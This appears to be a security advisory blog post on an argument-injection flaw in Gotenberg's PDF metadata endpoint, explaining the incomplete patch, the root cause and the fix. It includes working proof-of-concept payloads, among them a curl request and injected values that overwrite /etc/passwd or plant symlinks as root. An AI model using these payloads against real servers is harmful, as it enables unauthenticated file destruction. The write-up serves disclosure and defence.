Overview
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-40281 |
| Affected product | Gotenberg (Docker-powered PDF conversion API, thecodingmachine/gotenberg) |
| Affected versions | 8.30.1 and earlier |
| Fixed in | 8.31.0 |
| CVSS 3.1 | 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H |
| Type | CWE-88 (Argument Injection), CWE-20 (Improper Input Validation) |
| Authentication required | None |
| Reported by | morimori-dev, via a Gotenberg GitHub Security Advisory |
| Note | A bypass of the "incomplete fix" shipped in v8.30.1 |
Gotenberg is a Docker-based API server that converts HTML and Office documents into PDFs. It can also write metadata — title, author, and so on — into the generated PDF, and the actual write is handled internally by an external program called ExifTool.
The story here is that a prior fix only closed half the door. The earlier reported issue was that a newline inside a metadata key could inject arbitrary arguments into ExifTool, so Gotenberg added a regex check on keys. But metadata is a key/value pair, and the attacker controls both sides — not just the key. The patch validated only the left side of = (the key); the right side (the value) kept flowing to ExifTool completely unchecked.
As a result, the exact same class of argument injection became possible again — just by putting a newline in the value instead. An unauthenticated attacker can move or overwrite arbitrary files inside the Gotenberg container, or create symlinks/hardlinks at paths of their choosing, all as root.
Where the flaw lives — the metadata write pipeline
Here's how Gotenberg handles a PDF metadata write:
- A client sends a PDF file plus JSON metadata (e.g.,
{"Title": "..."}) to/forms/pdfengines/metadata/write. - Gotenberg passes that metadata to
WriteMetadata()inpkg/modules/exiftool/exiftool.go. -
WriteMetadata()hands each key/value pair toSetString()in thego-exiftoollibrary, which writes it, line by line, to the standard input (stdin) of a running ExifTool process.
// barasher/go-exiftool
fmt.Fprintln(e.stdin, "-"+k+"="+str)
ExifTool is a command-line tool, but instead of launching fresh for every request, Gotenberg keeps one process running and feeds it commands over stdin (-stay_open mode). In this design, every line written to stdin is effectively one command-line argument. So if that one line secretly contains another newline, it creates an unintended "second argument."
Step-by-step source analysis
Step 1 — the v8.30.1 patch validates the key, and only the key
In response to an earlier-reported flaw (injecting arguments via a newline in the metadata key, tracked as CVE-2026-42589), Gotenberg 8.30.1 added this key-validation logic:
// pkg/modules/exiftool/exiftool.go — WriteMetadata()
// key validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
}
safeKeyPattern is a regex that only allows safe characters like alphanumerics, blocking newlines or = from sneaking into a key. This part works exactly as intended.
Step 2 — the value sails straight through to ExifTool, unchecked
The problem is the very next step. Once a key clears validation, its value is handed to SetString() with no check at all.
// the value passes through with no validation
case string:
fileMetadata[0].SetString(key, val) // val can contain anything
go-exiftool's WriteMetadata() takes this key/value pair and writes it as one line to ExifTool's stdin:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
k (the key) just passed validation, so it's safe. Nobody checks what's inside str (the value).
Step 3 — a newline in the value splits one stdin line into two (the root cause)
fmt.Fprintln appends a newline after the string it's given — it does nothing to stop a newline that's already inside that string. So if str itself contains \n, ExifTool's stdin receives two lines instead of the intended one.
For example, send this as the Title metadata value:
Title = "test\n-FileName=/tmp/inject_proof"
and ExifTool's stdin actually receives:
-Title=test
-FileName=/tmp/inject_proof
To ExifTool, this isn't "set Title to test" — it's two entirely separate commands, the second being -FileName=/tmp/inject_proof. -FileName, -Directory, -SymLink, and -HardLink are ExifTool "pseudo-tags" — they don't write metadata, they manipulate the filesystem directly. An attacker can inject any of these pseudo-tags through the value — and notably, these are exactly the tags the key validation was meant to block. The v8.30.1 patch checked only the left side of =; the attacker reproduces the same outcome through the right side.
Step 4 — direct filesystem manipulation inside the container, as root
Inside the Gotenberg container, ExifTool runs as root by default. Since the injected pseudo-tag applies directly to the PDF currently being processed, an attacker gains:
# 1) Move the PDF being processed to an arbitrary path inside the container
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://target:3000/forms/pdfengines/metadata/write
# → HTTP 404 (file vanished from the temp path = the move succeeded)
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (the PDF landed here)
Combining -Directory and -FileName can overwrite an arbitrary system file:
Title = "test\n-Directory=/etc/\n-FileName=passwd"
Here, ExifTool moves the entire PDF being processed to /etc/passwd, clobbering the system's user database with a PDF binary.
-SymLink creates a symlink at an arbitrary path, which can become a stepping stone for chaining into other read/write primitives:
Title = "test\n-SymLink=/tmp/sym_inject"
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
-HardLink creates a hard link, which can keep data around even after Gotenberg cleans up its temp directory.
The HTTP response itself comes back as an ordinary 200 (a valid PDF returned) or 404 (the file vanished mid-processing), so on the surface it just looks like a routine processing failure — easy to miss with basic monitoring.
The patch — apply the same validation to values
Gotenberg 8.31.0 extends the safeKeyPattern check — previously applied to keys only — to values as well, rejecting any value that contains a newline or other control character.
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}
The lesson is straightforward. Any code that hands key=value pairs to an external process has to assume both sides of = are attacker-controlled. A fix that validates one side and assumes "the rest must be safe" leaves the door open. This is especially worth flagging in code review for any long-running, stay-open process fed commands over stdin: the moment a newline slips into a string you're writing there, it becomes "a brand new command line" on its own.
Remediation
- Update Gotenberg to 8.31.0 or later immediately.
- If an immediate update isn't possible, block the metadata-write endpoint (
/forms/pdfengines/metadata/write) at a reverse proxy or WAF, or add a temporary rule rejecting requests whose metadata values contain newlines or control characters. - Running the Gotenberg container as a non-root user limits the blast radius of the same class of bug to whatever paths that user can write to, even if a similar flaw resurfaces.
- If exposure is possible, check the container for unexpected file moves, symlinks, or overwrites — especially under
/etc/and/tmp/— and recreate any container that may have been affected.


Top comments (0)